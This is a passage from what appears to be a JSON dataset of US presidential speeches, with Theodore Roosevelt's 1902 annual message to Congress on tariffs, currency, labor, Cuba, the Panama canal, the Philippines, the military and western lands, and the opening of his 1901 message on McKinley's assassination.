this\ncountry is now enjoying, or upsetting its fixed economic policy.The cases in which the tariff can produce a monopoly are so few as to\nconstitute an inconsiderable factor in the question; but of course if\nin any case it be found that a given rate of duty does promote a\nmonopoly which works ill, no protectionist would object to such\nreduction of the duty as would equalize competition.In my judgment, the tariff on anthracite coal should be removed, and\nanthracite put actually, where it now is nominally, on the free list.\nThis would have no effect at all save in crises; but in crises it might\nbe of service to the people.Interest rates are a potent factor in business activity, and in order\nthat these rates may be equalized to meet the varying needs of the\nseasons and of widely separated communities, and to prevent the\nrecurrence of financial stringencies which injuriously affect\nlegitimate business, it is necessary that there should be an element of\nelasticity in our monetary system. Banks are the natural servants of\ncommerce, and upon them should be placed, as far as practicable, the\nburden of furnishing and maintaining a circulation adequate to supply\nthe needs of our diversified industries and of our domestic and foreign\ncommerce; and the issue of this should be so regulated that a\nsufficient supply should be always available for the business interests\nof the country.It would be both unwise and unnecessary at this time to attempt to\nreconstruct our financial system, which has been the growth of a\ncentury; but some additional legislation is, I think, desirable. The\nmere outline of any plan sufficiently comprehensive to meet these\nrequirements would transgress the appropriate limits of this\ncommunication. It is suggested, however, that all future legislation on\nthe subject should be with the view of encouraging the use of such\ninstrumentalities as will automatically supply every legitimate demand\nof productive industries and of commerce, not only in the amount, but\nin the character of circulation; and of making all kinds of money\ninterchangeable, and, at the will of the holder, convertible into the\nestablished gold standard.I again call your attention to the need of passing a proper immigration\nlaw, covering the points outlined in my Message to you at the first\nsession of the present Congress; substantially such a bill has already\npassed the House.How to secure fair treatment alike for labor and for capital, how to\nhold in check the unscrupulous man, whether employer or employee,\nwithout weakening individual initiative, without hampering and cramping\nthe industrial development of the country, is a problem fraught with\ngreat difficulties and one which it is of the highest importance to\nsolve on lines of sanity and far-sighted common sense as well as of\ndevotion to the right. This is an era of federation and combination.\nExactly as business men find they must often work through corporations,\nand as it is a constant tendency of these corporations to grow larger,\nso it is often necessary for laboring men to work in federations, and\nthese have become important factors of modern industrial life. Both\nkinds of federation, capitalistic and labor, can do much good, and as a\nnecessary corollary they can both do evil. Opposition to each kind of\norganization should take the form of opposition to whatever is bad in\nthe conduct of any given corporation or union--not of attacks upon\ncorporations as such nor upon unions as such; for some of the most\nfar-reaching beneficent work for our people has been accomplished\nthrough both corporations and unions. Each must refrain from arbitrary\nor tyrannous interference with the rights of others. Organized capital\nand organized labor alike should remember that in the long run the\ninterest of each must be brought into harmony with the interest of the\ngeneral public; and the conduct of each must conform to the fundamental\nrules of obedience to the law, of individual freedom, and of justice\nand fair dealing toward all. Each should remember that in addition to\npower it must strive after the realization of healthy, lofty, and\ngenerous ideals. Every employer, every wage-worker, must be guaranteed\nhis liberty and his right to do as he likes with his property or his\nlabor so long as he does not infringe upon the rights of others. It is\nof the highest importance that employer and employee alike should\nendeavor to appreciate each the viewpoint of the other and the sure\ndisaster that will come upon both in the long run if either grows to\ntake as habitual an attitude of sour hostility and distrust toward the\nother. Few people deserve better of the country than those\nrepresentatives both of capital and labor--and there are many such--who\nwork continually to bring about a good understanding of this kind,\nbased upon wisdom and upon broad and kindly sympathy between employers\nand employed. Above all, we need to remember that any kind of class\nanimosity in the political world is, if possible, even more wicked,\neven more destructive to national welfare, than sectional, race, or\nreligious animosity. We can get good government only upon condition\nthat we keep true to the principles upon which this Nation was founded,\nand judge each man not as a part of a class, but upon his individual\nmerits. All that we have a right to ask of any man, rich or poor,\nwhatever his creed, his occupation, his birthplace, or his residence,\nis that he shall act well and honorably by his neighbor and by, his\ncountry. We are neither for the rich man as such nor for the poor man\nas such; we are for the upright man, rich or poor. So far as the\nconstitutional powers of the National Government touch these matters of\ngeneral and vital moment to the Nation, they should be exercised in\nconformity with the principles above set forth.It is earnestly hoped that a secretary of commerce may be created, with\na seat in the Cabinet. The rapid multiplication of questions affecting\nlabor and capital, the growth and complexity of the organizations\nthrough which both labor and capital now find expression, the steady\ntendency toward the employment of capital in huge corporations, and the\nwonderful strides of this country toward leadership in the\ninternational business world justify an urgent demand for the creation\nof such a position. Substantially all the leading commercial bodies in\nthis country have united in requesting its creation. It is desirable\nthat some such measure as that which has already passed the Senate be\nenacted into law. The creation of such a department would in itself be\nan advance toward dealing with and exercising supervision over the\nwhole subject of the great corporations doing an interstate business;\nand with this end in view, the Congress should endow the department\nwith large powers, which could be increased as experience might show\nthe need.I hope soon to submit to the Senate a reciprocity treaty with Cuba. On\nMay 20 last the United States kept its promise to the island by\nformally vacating Cuban soil and turning Cuba over to those whom her\nown people had chosen as the first officials of the new Republic.Cuba lies at our doors, and whatever affects her for good or for ill\naffects us also. So much have our people felt this that in the Platt\namendment we definitely took the ground that Cuba must hereafter have\ncloser political relations with us than with any other power. Thus in a\nsense Cuba has become a part of our international political system.\nThis makes it necessary that in return she should be given some of the\nbenefits of becoming part of our economic system. It is, from our own\nstandpoint, a short-sighted and mischievous policy to fail to recognize\nthis need. Moreover, it is unworthy of a mighty and generous nation,\nitself the greatest and most successful republic in history, to refuse\nto stretch out a helping hand to a young and weak sister republic just\nentering upon its career of independence. We should always fearlessly\ninsist upon our rights in the face of the strong, and we should with\nungrudging hand do our generous duty by the weak. I urge the adoption\nof reciprocity with Cuba not only because it is eminently for our own\ninterests to control the Cuban market and by every means to foster our\nsupremacy in the tropical lands and waters south of us, but also\nbecause we, of the giant republic of the north, should make all our\nsister nations of the American Continent feel that whenever they will\npermit it we desire to show ourselves disinterestedly and effectively\ntheir friend.A convention with Great Britain has been concluded, which will be at\nonce laid before the Senate for ratification, providing for reciprocal\ntrade arrangements between the United States and Newfoundland on\nsubstantially the lines of the convention formerly negotiated by the\nSecretary of State, Mr. Blaine. I believe reciprocal trade relations\nwill be greatly to the advantage of both countries.As civilization grows warfare becomes less and less the normal\ncondition of foreign relations. The last century has seen a marked\ndiminution of wars between civilized powers; wars with uncivilized\npowers are largely mere matters of international police duty, essential\nfor the welfare of the world. Wherever possible, arbitration or some\nsimilar method should be employed in lieu of war to settle difficulties\nbetween civilized nations, although as yet the world has not progressed\nsufficiently to render it possible, or necessarily desirable, to invoke\narbitration in every case. The formation of the international tribunal\nwhich sits at The Hague is an event of good omen from which great\nconsequences for the welfare of all mankind may flow. It is far better,\nwhere possible, to invoke such a permanent tribunal than to create\nspecial arbitrators for a given purpose.It is a matter of sincere congratulation to our country that the United\nStates and Mexico should have been the first to use the good offices of\nThe Hague Court. This was done last summer with most satisfactory\nresults in the case of a claim at issue between us and our sister\nRepublic. It is earnestly to be hoped that this first case will serve\nas a precedent for others, in which not only the United States but\nforeign nations may take advantage of the machinery already in\nexistence at The Hague.I commend to the favorable consideration of the Congress the Hawaiian\nfire claims, which were the subject of careful investigation during the\nlast session.The Congress has wisely provided that we shall build at once an\nisthmian canal, if possible at Panama. The Attorney-General reports\nthat we can undoubtedly acquire good title from the French Panama Canal\nCompany. Negotiations are now pending with Colombia to secure her\nassent to our building the canal. This canal will be one of the\ngreatest engineering feats of the twentieth century; a greater\nengineering feat than has yet been accomplished during the history of\nmankind. The work should be carried out as a continuing policy without\nregard to change of Administration; and it should be begun under\ncircumstances which will make it a matter of pride for all\nAdministrations to continue the policy.The canal will be of great benefit to America, and of importance to all\nthe world. It will be of advantage to us industrially and also as\nimproving our military position. It will be of advantage to the\ncountries of tropical America. It is earnestly to be hoped that all of\nthese countries will do as some of them have already done with signal\nsuccess, and will invite to their shores commerce and improve their\nmaterial conditions by recognizing that stability and order are the\nprerequisites of successful development. No independent nation in\nAmerica need have the slightest fear of aggression from the United\nStates. It behoves each one to maintain order within its own borders\nand to discharge its just obligations to foreigners. When this is done,\nthey can rest assured that, be they strong or weak, they have nothing\nto dread from outside interference. More and more the increasing\ninterdependence and complexity of international political and economic\nrelations render it incumbent on all civilized and orderly powers to\ninsist on the proper policing of the world.During the fall of 1901 a communication was addressed to the Secretary\nof State, asking whether permission would be granted by the President\nto a corporation to lay a cable from a point on the California coast to\nthe Philippine Islands by way of Hawaii. A statement of conditions or\nterms upon which such corporation would undertake to lay and operate a\ncable was volunteered.Inasmuch as the Congress was shortly to convene, and Pacific-cable\nlegislation had been the subject of consideration by the Congress for\nseveral years, it seemed to me wise to defer action upon the\napplication until the Congress had first an opportunity to act. The\nCongress adjourned without taking any action, leaving the matter in\nexactly the same condition in which it stood when the Congress\nconvened.Meanwhile it appears that the Commercial Pacific Cable Company had\npromptly proceeded with preparations for laying its cable. It also made\napplication to the President for access to and use of soundings taken\nby the U. S. S. Nero, for the purpose of discovering a practicable\nroute for a trans-Pacific cable, the company urging that with access to\nthese soundings it could complete its cable much sooner than if it were\nrequired to take soundings upon its own account. Pending consideration\nof this subject, it appeared important and desirable to attach certain\nconditions to the permission to examine and use the soundings, if it\nshould be granted.In consequence of this solicitation of the cable company, certain\nconditions were formulated, upon which the President was willing to\nallow access to these soundings and to consent to the landing and\nlaying of the cable, subject to any alterations or additions thereto\nimposed by the Congress. This was deemed proper, especially as it was\nclear that a cable connection of some kind with China, a foreign\ncountry, was a part of the company's plan. This course was, moreover,\nin accordance with a line of precedents, including President Grant's\naction in the case of the first French cable, explained to the Congress\nin his Annual Message of December, 1875, and the instance occurring in\n1879 of the second French cable from Brest to St. Pierre, with a branch\nto Cape Cod.These conditions prescribed, among other things, a maximum rate for\ncommercial messages and that the company should construct a line from\nthe Philippine Islands to China, there being at present, as is well\nknown, a British line from Manila to Hongkong.The representatives of the cable company kept these conditions long\nunder consideration, continuing, in the meantime, to prepare for laying\nthe cable. They have, however, at length acceded to them, and an\nall-American line between our Pacific coast and the Chinese Empire, by\nway of Honolulu and the Philippine Islands, is thus provided for, and\nis expected within a few months to be ready for business.Among the conditions is one reserving the power of the Congress to\nmodify or repeal any or all of them. A copy of the conditions is\nherewith transmitted.Of Porto Rico it is only necessary to say that the prosperity of the\nisland and the wisdom with which it has been governed have been such as\nto make it serve as an example of all that is best in insular\nadministration.On July 4 last, on the one hundred and twenty-sixth anniversary of the\ndeclaration of our independence, peace and amnesty were promulgated in\nthe Philippine Islands. Some trouble has since from time to time\nthreatened with the Mohammedan Moros, but with the late insurrectionary\nFilipinos the war has entirely ceased. Civil government has now been\nintroduced. Not only does each Filipino enjoy such rights to life,\nliberty, and the pursuit of happiness as he has never before known\nduring the recorded history of the islands, but the people taken as a\nwhole now enjoy a measure of self-government greater than that granted\nto any other Orientals by any foreign power and greater than that\nenjoyed by any other Orientals under their own governments, save the\nJapanese alone. We have not gone too far in granting these rights of\nliberty and self-government; but we have certainly gone to the limit\nthat in the interests of the Philippine people themselves it was wise\nor just to go. To hurry matters, to go faster than we are now going,\nwould entail calamity on the people of the islands. No policy ever\nentered into by the American people has vindicated itself in more\nsignal manner than the policy of holding the Philippines. The triumph\nof our arms, above all the triumph of our laws and principles, has come\nsooner than we had any right to expect. Too much praise can not be\ngiven to the Army for what it has done in the Philippines both in\nwarfare and from an administrative standpoint in preparing the way for\ncivil government; and similar credit belongs to the civil authorities\nfor the way in which they have planted the seeds of self-government in\nthe ground thus made ready for them. The courage, the unflinching\nendurance, the high soldierly efficiency; and the general\nkind-heartedness and humanity of our troops have been strikingly\nmanifested. There now remain only some fifteen thousand troops in the\nislands. All told, over one hundred thousand have been sent there. Of\ncourse, there have been individual instances of wrongdoing among them.\nThey warred under fearful difficulties of climate and surroundings; and\nunder the strain of the terrible provocations which they continually\nreceived from their foes, occasional instances of cruel retaliation\noccurred. Every effort has been made to prevent such cruelties, and\nfinally these efforts have been completely successful. Every effort has\nalso been made to detect and punish the wrongdoers. After making all\nallowance for these misdeeds, it remains true that few indeed have been\nthe instances in which war has been waged by a civilized power against\nsemicivilized or barbarous forces where there has been so little\nwrongdoing by the victors as in the Philippine Islands. On the other\nhand, the amount of difficult, important, and beneficent work which has\nbeen done is well-nigh incalculable.Taking the work of the Army and the civil authorities together, it may\nbe questioned whether anywhere else in modern times the world has seen\na better example of real constructive statesmanship than our people\nhave given in the Philippine Islands. High praise should also be given\nthose Filipinos, in the aggregate very numerous, who have accepted the\nnew conditions and joined with our representatives to work with hearty\ngood will for the welfare of the islands.The Army has been reduced to the minimum allowed by law. It is very\nsmall for the size of the Nation, and most certainly should be kept at\nthe highest point of efficiency. The senior officers are given scant\nchance under ordinary conditions to exercise commands commensurate with\ntheir rank, under circumstances which would fit them to do their duty\nin time of actual war. A system of maneuvering our Army in bodies of\nsome little size has been begun and should be steadily continued.\nWithout such maneuvers it is folly to expect that in the event of\nhostilities with any serious foe even a small army corps could be\nhandled to advantage. Both our officers and enlisted men are such that\nwe can take hearty pride in them. No better material can be found. But\nthey must be thoroughly trained, both as individuals and in the mass.\nThe marksmanship of the men must receive special attention. In the\ncircumstances of modern warfare the man must act far more on his own\nindividual responsibility than ever before, and the high individual\nefficiency of the unit is of the utmost importance. Formerly this unit\nwas the regiment; it is now not the regiment, not even the troop or\ncompany; it is the individual soldier. Every effort must be made to\ndevelop every workmanlike and soldierly quality in both the officer and\nthe enlisted man.I urgently call your attention to the need of passing a bill providing\nfor a general staff and for the reorganization of the supply\ndepartments on the lines of the bill proposed by the Secretary of War\nlast year. When the young officers enter the Army from West Point they\nprobably stand above their compeers in any other military service.\nEvery effort should be made, by training, by reward of merit, by\nscrutiny into their careers and capacity, to keep them of the same high\nrelative excellence throughout their careers.The measure providing for the reorganization of the militia system and\nfor securing the highest efficiency in the National Guard, which has\nalready passed the House, should receive prompt attention and action.\nIt is of great importance that the relation of the National Guard to\nthe militia and volunteer forces of the United States should be\ndefined, and that in place of our present obsolete laws a practical and\nefficient system should be adopted.Provision should be made to enable the Secretary of War to keep cavalry\nand artillery horses, worn-out in long performance of duty. Such horses\nfetch but a trifle when sold; and rather than turn them out to the\nmisery awaiting them when thus disposed of, it would be better to\nemploy them at light work around the posts, and when necessary to put\nthem painlessly to death.For the first time in our history naval maneuvers on a large scale are\nbeing held under the immediate command of the Admiral of the Navy.\nConstantly increasing attention is being paid to the gunnery of the\nNavy, but it is yet far from what it should be. I earnestly urge that\nthe increase asked for by the Secretary of the Navy in the\nappropriation for improving the markmanship be granted. In battle the\nonly shots that count are the shots that hit. It is necessary to\nprovide ample funds for practice with the great guns in time of peace.\nThese funds must provide not only for the purchase of projectiles, but\nfor allowances for prizes to encourage the gun crews, and especially\nthe gun pointers, and for perfecting an intelligent system under which\nalone it is possible to get good practice.There should be no halt in the work of building up the Navy, providing\nevery year additional fighting craft. We are a very rich country, vast\nin extent of territory and great in population; a country, moreover,\nwhich has an Army diminutive indeed when compared with that of any\nother first-class power. We have deliberately made our own certain\nforeign policies which demand the possession of a first-class navy. The\nisthmian canal will greatly increase the efficiency of our Navy if the\nNavy is of sufficient size; but if we have an inadequate navy, then the\nbuilding of the canal would be merely giving a hostage to any power of\nsuperior strength. The Monroe Doctrine should be treated as the\ncardinal feature of American foreign policy; but it would be worse than\nidle to assert it unless we intended to back it up, and it can be\nbacked up only by a thoroughly good navy. A good navy is not a\nprovocative of war. It is the surest guaranty of peace.Each individual unit of our Navy should be the most efficient of its\nkind as regards both material and personnel that is to be found in the\nworld. I call your special attention to the need of providing for the\nmanning of the ships. Serious trouble threatens us if we can not do\nbetter than we are now doing as regards securing the services of a\nsufficient number of the highest type of sailormen, of sea mechanics.\nThe veteran seamen of our war ships are of as high a type as can be\nfound in any navy which rides the waters of the world; they are\nunsurpassed in daring, in resolution, in readiness, in thorough\nknowledge of their profession. They deserve every consideration that\ncan be shown them. But there are not enough of them. It is no more\npossible to improvise a crew than it is possible to improvise a war\nship. To build the finest ship, with the deadliest battery, and to send\nit afloat with a raw crew, no matter how brave they were individually,\nwould be to insure disaster if a foe of average capacity were\nencountered. Neither ships nor men can be improvised when war has\nbegun.We need a thousand additional officers in order to properly man the\nships now provided for and under construction. The classes at the Naval\nSchool at Annapolis should be greatly enlarged. At the same time that\nwe thus add the officers where we need them, we should facilitate the\nretirement of those at the head of the list whose usefulness has become\nimpaired. Promotion must be fostered if the service is to be kept\nefficient.The lamentable scarcity of officers, and the large number of recruits\nand of unskilled men necessarily put aboard the new vessels as they\nhave been commissioned, has thrown upon our officers, and especially on\nthe lieutenants and junior grades, unusual labor and fatigue and has\ngravely strained their powers of endurance. Nor is there sign of any\nimmediate let-up in this strain. It must continue for some time longer,\nuntil more officers are graduated from Annapolis, and until the\nrecruits become trained and skillful in their duties. In these\ndifficulties incident upon the development of our war fleet the conduct\nof all our officers has been creditable to the service, and the\nlieutenants and junior grades in particular have displayed an ability\nand a steadfast cheerfulness which entitles them to the ungrudging\nthanks of all who realize the disheartening trials and fatigues to\nwhich they are of necessity subjected.There is not a cloud on the horizon at present. There seems not the\nslightest chance of trouble with a foreign power. We most earnestly\nhope that this state of things may continue; and the way to insure its\ncontinuance is to provide for a thoroughly efficient navy. The refusal\nto maintain such a navy would invite trouble, and if trouble came would\ninsure disaster. Fatuous self-complacency or vanity, or\nshort-sightedness in refusing to prepare for danger, is both foolish\nand wicked in such a nation as ours; and past experience has shown that\nsuch fatuity in refusing to recognize or prepare for any crisis in\nadvance is usually succeeded by a mad panic of hysterical fear once the\ncrisis has actually arrived.The striking increase in the revenues of the Post-Office Department\nshows clearly the prosperity of our people and the increasing activity\nof the business of the country.The receipts of the Post-Office Department for the fiscal year ending\nJune 30 last amounted to $121,848,047.26, an increase of $10,216,853.87\nover the preceding year, the largest increase known in the history of\nthe postal service. The magnitude of this increase will best appear\nfrom the fact that the entire postal receipts for the year 1860\namounted to but $8,518,067.Rural free-delivery service is no longer in the experimental stage; it\nhas become a fixed policy. The results following its introduction have\nfully justified the Congress in the large appropriations made for its\nestablishment and extension. The average yearly increase in post-office\nreceipts in the rural districts of the country is about two per cent.\nWe are now able, by actual results, to show that where rural\nfree-delivery service has been established to such an extent as to\nenable us to make comparisons the yearly increase has been upward of\nten per cent.On November 1, 1902, 11,650 rural free-delivery routes had been\nestablished and were in operation, covering about one-third of the\nterritory of the United States available for rural free-delivery\nservice. There are now awaiting the action of the Department petitions\nand applications for the establishment of 10,748 additional routes.\nThis shows conclusively the want which the establishment of the service\nhas met and the need of further extending it as rapidly as possible. It\nis justified both by the financial results and by the practical\nbenefits to our rural population; it brings the men who live on the\nsoil into close relations with the active business world; it keeps the\nfarmer in daily touch with the markets; it is a potential educational\nforce; it enhances the value of farm property, makes farm life far\npleasanter and less isolated, and will do much to check the undesirable\ncurrent from country to city.It is to be hoped that the Congress will make liberal appropriations\nfor the continuance of the service already established and for its\nfurther extension.Few subjects of more importance have been taken up by the Congress in\nrecent years than the inauguration of the system of nationally-aided\nirrigation for the arid regions of the far West. A good beginning\ntherein has been made. Now that this policy of national irrigation has\nbeen adopted, the need of thorough and scientific forest protection\nwill grow more rapidly than ever throughout the public-land States.Legislation should be provided for the protection of the game, and the\nwild creatures generally, on the forest reserves. The senseless\nslaughter of game, which can by judicious protection be permanently\npreserved on our national reserves for the people as a whole, should be\nstopped at once. It is, for instance, a serious count against our\nnational good sense to permit the present practice of butchering off\nsuch a stately and beautiful creature as the elk for its antlers or\ntusks.So far as they are available for agriculture, and to whatever extent\nthey may be reclaimed under the national irrigation law, the remaining\npublic lands should be held rigidly for the home builder, the settler\nwho lives on his land, and for no one else. In their actual use the\ndesert-land law, the timber and stone law, and the commutation clause\nof the homestead law have been so perverted from the intention with\nwhich they were enacted as to permit the acquisition of large areas of\nthe public domain for other than actual settlers and the consequent\nprevention of settlement. Moreover, the approaching exhaustion of the\npublic ranges has of late led to much discussion as to the best manner\nof using these public lands in the West which are suitable chiefly or\nonly for grazing. The sound and steady development of the West depends\nupon the building up of homes therein. Much of our prosperity as a\nnation has been due to the operation of the homestead law. On the other\nhand, we should recognize the fact that in the grazing region the man\nwho corresponds to the homesteader may be unable to settle permanently\nif only allowed to use the same amount of pasture land that his\nbrother, the homesteader, is allowed to use of arable land. One hundred\nand sixty acres of fairly rich and well-watered soil, or a much smaller\namount of irrigated land, may keep a family in plenty, whereas no one\ncould get a living from one hundred and sixty acres of dry pasture land\ncapable of supporting at the outside only one head of cattle to every\nten acres. In the past great tracts of the public domain have been\nfenced in by persons having no title thereto, in direct defiance of the\nlaw forbidding the maintenance or construction of any such unlawful\ninclosure of public land. For various reasons there has been little\ninterference with such inclosures in the past, but ample notice has now\nbeen given the trespassers, and all the resources at the command of the\nGovernment will hereafter be used to put a stop to such trespassing.In view of the capital importance of these matters, I commend them to\nthe earnest consideration of the Congress, and if the Congress finds\ndifficulty in dealing with them from lack of thorough knowledge of the\nsubject, I recommend that provision be made for a commission of experts\nspecially to investigate and report upon the complicated questions\ninvolved.I especially urge upon the Congress the need of wise legislation for\nAlaska. It is not to our credit as a nation that Alaska, which has been\nours for thirty-five years, should still have as poor a system Of laws\nas is the case. No country has a more valuable possession--in mineral\nwealth, in fisheries, furs, forests, and also in land available for\ncertain kinds of farming and stockgrowing. It is a territory of great\nsize and varied resources, well fitted to support a large permanent\npopulation. Alaska needs a good land law and such provisions for\nhomesteads and pre-emptions as will encourage permanent settlement. We\nshould shape legislation with a view not to the exploiting and\nabandoning of the territory, but to the building up of homes therein.\nThe land laws should be liberal in type, so as to hold out inducements\nto the actual settler whom we most desire to see take possession of the\ncountry. The forests of Alaska should be protected, and, as a secondary\nbut still important matter, the game also, and at the same time it is\nimperative that the settlers should be allowed to cut timber, under\nproper regulations, for their own use. Laws should be enacted to\nprotect the Alaskan salmon fisheries against the greed which would\ndestroy them. They should be preserved as a permanent industry and food\nsupply. Their management and control should be turned over to the\nCommission of Fish and Fisheries. Alaska should have a Delegate in the\nCongress. It would be well if a Congressional committee could visit\nAlaska and investigate its needs on the ground.In dealing with the Indians our aim should be their ultimate absorption\ninto the body of our people. But in many cases this absorption must and\nshould be very slow. In portions of the Indian Territory the mixture of\nblood has gone on at the same time with progress in wealth and\neducation, so that there are plenty of men with varying degrees of\npurity of Indian blood who are absolutely indistinguishable in point of\nsocial, political, and economic ability from their white associates.\nThere are other tribes which have as yet made no perceptible advance\ntoward such equality. To try to force such tribes too fast is to\nprevent their going forward at all. Moreover, the tribes live under\nwidely different conditions. Where a tribe has made considerable\nadvance and lives on fertile farming soil it is possible to allot the\nmembers lands in severalty much as is the case with white settlers.\nThere are other tribes where such a course is not desirable. On the\narid prairie lands the effort should be to induce the Indians to lead\npastoral rather than agricultural lives, and to permit them to settle\nin villages rather than to force them into isolation.The large Indian schools situated remote from any Indian reservation do\na special and peculiar work of great importance. But, excellent though\nthese are, an immense amount of additional work must be done on the\nreservations themselves among the old, and above all among the young,\nIndians.The first and most important step toward the absorption of the Indian\nis to teach him to earn his living; yet it is not necessarily to be\nassumed that in each community all Indians must become either tillers\nof the soil or stock raisers. Their industries may properly be\ndiversified, and those who show special desire or adaptability for\nindustrial or even commercial pursuits should be encouraged so far as\npracticable to follow out each his own bent.Every effort should be made to develop the Indian along the lines of\nnatural aptitude, and to encourage the existing native industries\npeculiar to certain tribes, such as the various kinds of basket\nweaving, canoe building, smith work, and blanket work. Above all, the\nIndian boys and girls should be given confident command of colloquial\nEnglish, and should ordinarily be prepared for a vigorous struggle with\nthe conditions under which their people live, rather than for immediate\nabsorption into some more highly developed community.The officials who represent the Government in dealing with the Indians\nwork under hard conditions, and also under conditions which render it\neasy to do wrong and very difficult to detect wrong. Consequently they\nshould be amply paid on the one hand, and on the other hand a\nparticularly high standard of conduct should be demanded from them, and\nwhere misconduct can be proved the punishment should be exemplary.In no department of governmental work in recent years has there been\ngreater success than in that of giving scientific aid to the farming\npopulation, thereby showing them how most efficiently to help\nthemselves. There is no need of insisting upon its importance, for the\nwelfare of the farmer is fundamentally necessary to the welfare of the\nRepublic as a whole. In addition to such work as quarantine against\nanimal and vegetable plagues, and warring against them when here\nintroduced, much efficient help has been rendered to the farmer by the\nintroduction of new plants specially fitted for cultivation under the\npeculiar conditions existing in different portions of the country. New\ncereals have been established in the semi-arid West. For instance, the\npracticability of producing the best types of macaroni wheats in\nregions of an annual rainfall of only ten inches or thereabouts has\nbeen conclusively demonstrated. Through the introduction of new rices\nin Louisiana and Texas the production of rice in this country has been\nmade to about equal the home demand. In the South-west the possibility\nof regrassing overstocked range lands has been demonstrated; in the\nNorth many new forage crops have been introduced, while in the East it\nhas been shown that some of our choicest fruits can be stored and\nshipped in such a way as to find a profitable market abroad.I again recommend to the favorable consideration of the Congress the\nplans of the Smithsonian Institution for making the Museum under its\ncharge worthy of the Nation, and for preserving at the National Capital\nnot only records of the vanishing races of men but of the animals of\nthis continent which, like the buffalo, will soon become extinct unless\nspecimens from which their representatives may be renewed are sought in\ntheir native regions and maintained there in safety.The District of Columbia is the only part of our territory in which the\nNational Government exercises local or municipal functions, and where\nin consequence the Government has a free hand in reference to certain\ntypes of social and economic legislation which must be essentially\nlocal or municipal in their character. The Government should see to it,\nfor instance, that the hygienic and sanitary legislation affecting\nWashington is of a high character. The evils of slum dwellings, whether\nin the shape of crowded and congested tenement-house districts or of\nthe back-alley type, should never be permitted to grow up in\nWashington. The city should be a model in every respect for all the\ncities of the country. The charitable and correctional systems of the\nDistrict should receive consideration at the hands of the Congress to\nthe end that they may embody the results of the most advanced thought\nin these fields. Moreover, while Washington is not a great industrial\ncity, there is some industrialism here, and our labor legislation,\nwhile it would not be important in itself, might be made a model for\nthe rest of the Nation. We should pass, for instance, a wise\nemployer's-liability act for the District of Columbia, and we need such\nan act in our navy-yards. Railroad companies in the District ought to\nbe required by law to block their frogs.The safety-appliance law, for the better protection of the lives and\nlimbs of railway employees, which was passed in 1893, went into full\neffect on August 1, 1901. It has resulted in averting thousands of\ncasualties. Experience shows, however, the necessity of additional\nlegislation to perfect this law. A bill to provide for this passed the\nSenate at the last session. It is to be hoped that some such measure\nmay now be enacted into law.There is a growing tendency to provide for the publication of masses of\ndocuments for which there is no public demand and for the printing of\nwhich there is no real necessity. Large numbers of volumes are turned\nout by the Government printing presses for which there is no\njustification. Nothing should be printed by any of the Departments\nunless it contains something of permanent value, and the Congress could\nwith advantage cut down very materially on all the printing which it\nhas now become customary to provide. The excessive cost of Government\nprinting is a strong argument against the position of those who are\ninclined on abstract grounds to advocate the Government's doing any\nwork which can with propriety be left in private hands.Gratifying progress has been made during the year in the extension of\nthe merit system of making appointments in the Government service. It\nshould be extended by law to the District of Columbia. It is much to be\ndesired that our consular system be established by law on a basis\nproviding for appointment and promotion only in consequence of proved\nfitness.Through a wise provision of the Congress at its last session the White\nHouse, which had become disfigured by incongruous additions and\nchanges, has now been restored to what it was planned to be by\nWashington. In making the restorations the utmost care has been\nexercised to come as near as possible to the early plans and to\nsupplement these plans by a careful study of such buildings as that of\nthe University of Virginia, which was built by Jefferson. The White\nHouse is the property of the Nation, and so far as is compatible with\nliving therein it should be kept as it originally was, for the same\nreasons that we keep Mount Vernon as it originally was. The stately\nsimplicity of its architecture is an expression of the character of the\nperiod in which it was built, and is in accord with the purposes it was\ndesigned to serve. It is a good thing to preserve such buildings as\nhistoric monuments which keep alive our sense of continuity with the\nNation's past.The reports of the several Executive Departments are submitted to the\nCongress with this communication.", 
+    "name": "Theodore Roosevelt"
+}
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+{
+    "date": "December 3, 1901", 
+    "speech": "To the Senate and House of Representatives:The Congress assembles this year under the shadow of a great calamity.\nOn the sixth of September, President McKinley was shot by an anarchist\nwhile attending the Pan-American Exposition at Buffalo, and died in\nthat city on the fourteenth of that month.Of the last seven elected Presidents, he is the third who has been\nmurdered, and the bare recital of this fact is sufficient to justify\ngrave alarm among all loyal American citizens. Moreover, the\ncircumstances of this, the third assassination of an American\nPresident, have a peculiarly sinister significance. Both President\nLincoln and President Garfield were killed by assassins of types\nunfortunately not uncommon in history; President Lincoln falling a\nvictim to the terrible passions aroused by four years of civil war, and\nPresident Garfield to the revengeful vanity of a disappointed\noffice-seeker. President McKinley was killed by an utterly depraved\ncriminal belonging to that body of criminals who object to all\ngovernments, good and bad alike, who are against any form of popular\nliberty if it is guaranteed by even the most just and liberal laws, and\nwho are as hostile to the upright exponent of a free people's sober\nwill as to the tyrannical and irresponsible despot.It is not too much to say that at the time of President McKinley's\ndeath he was the most widely loved man in all the United States; while\nwe have never had any public man of his position who has been so wholly\nfree from the bitter animosities incident to public life. His political\nopponents were the first to bear the heartiest and most generous\ntribute to the broad kindliness of nature, the sweetness and gentleness\nof character which so endeared him to his close associates. To a\nstandard of lofty integrity in public life he united the tender\naffections and home virtues which are all-important in the make-up of\nnational character. A gallant soldier in the great war for the Union,\nhe also shone as an example to all our people because of his conduct in\nthe most sacred and intimate of home relations. There could be no\npersonal hatred of him, for he never acted with aught but consideration\nfor the welfare of others. No one could fail to respect him who knew\nhim in public or private life. The defenders of those murderous\ncriminals who seek to excuse their criminality by asserting that it is\nexercised for political ends, inveigh against wealth and irresponsible\npower. But for this assassination even this base apology cannot be\nurged.President McKinley was a man of moderate means, a man whose stock\nsprang from the sturdy tillers of the soil, who had himself belonged\namong the wage-workers, who had entered the Army as a private soldier.\nWealth was not struck at when the President was assassinated, but the\nhonest toil which is content with moderate gains after a lifetime of\nunremitting labor, largely in the service of the public. Still less was\npower struck at in the sense that power is irresponsible or centered in\nthe hands of any one individual. The blow was not aimed at tyranny or\nwealth. It was aimed at one of the strongest champions the wage-worker\nhas ever had; at one of the most faithful representatives of the system\nof public rights and representative government who has ever risen to\npublic office. President McKinley filled that political office for\nwhich the entire people vote, and no President not even Lincoln\nhimself--was ever more earnestly anxious to represent the well\nthought-out wishes of the people; his one anxiety in every crisis was\nto keep in closest touch with the people--to find out what they thought\nand to endeavor to give expression to their thought, after having\nendeavored to guide that thought aright. He had just been reelected to\nthe Presidency because the majority of our citizens, the majority of\nour farmers and wage-workers, believed that he had faithfully upheld\ntheir interests for four years. They felt themselves in close and\nintimate touch with him. They felt that he represented so well and so\nhonorably all their ideals and aspirations that they wished him to\ncontinue for another four years to represent them.And this was the man at whom the assassin struck That there might be\nnothing lacking to complete the Judas-like infamy of his act, he 